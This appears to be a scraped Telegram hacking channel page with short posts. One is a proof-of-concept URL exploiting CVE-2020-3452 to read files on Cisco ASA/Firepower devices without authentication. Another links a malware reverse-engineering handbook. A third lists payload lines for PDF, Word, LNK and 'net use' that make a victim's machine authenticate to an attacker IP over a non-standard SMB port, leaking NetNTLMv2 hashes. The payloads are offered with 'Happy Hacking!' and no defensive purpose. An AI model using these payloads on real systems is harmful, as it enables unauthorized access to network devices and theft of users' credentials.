hackspace – Telegram
hackspace
159 subscribers
279 photos
76 videos
24 files
1K links
hackspace
Download Telegram
Here is POC of CVE-2020-3452, unauthenticated file read in Cisco ASA & Cisco Firepower.

For example to read "/+CSCOE+/portal_inc.lua" file.

https://<domain>/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../

Happy Hacking!
Malware_Reverse_Engineering_Handbook.pdf
4.8 MB
Malware_Reverse_Engineering_Handbook.pdf
You can steal NetNTLMv2 by changing SMB port:
net use \\IP@80\t
or pdf : /F (\\\\IP@80\\t)
or subdoc : ///IP@80/t
or doc: Target="file://IP@80/t.dotx"
or lnk: URL=file://IP@80/t.htm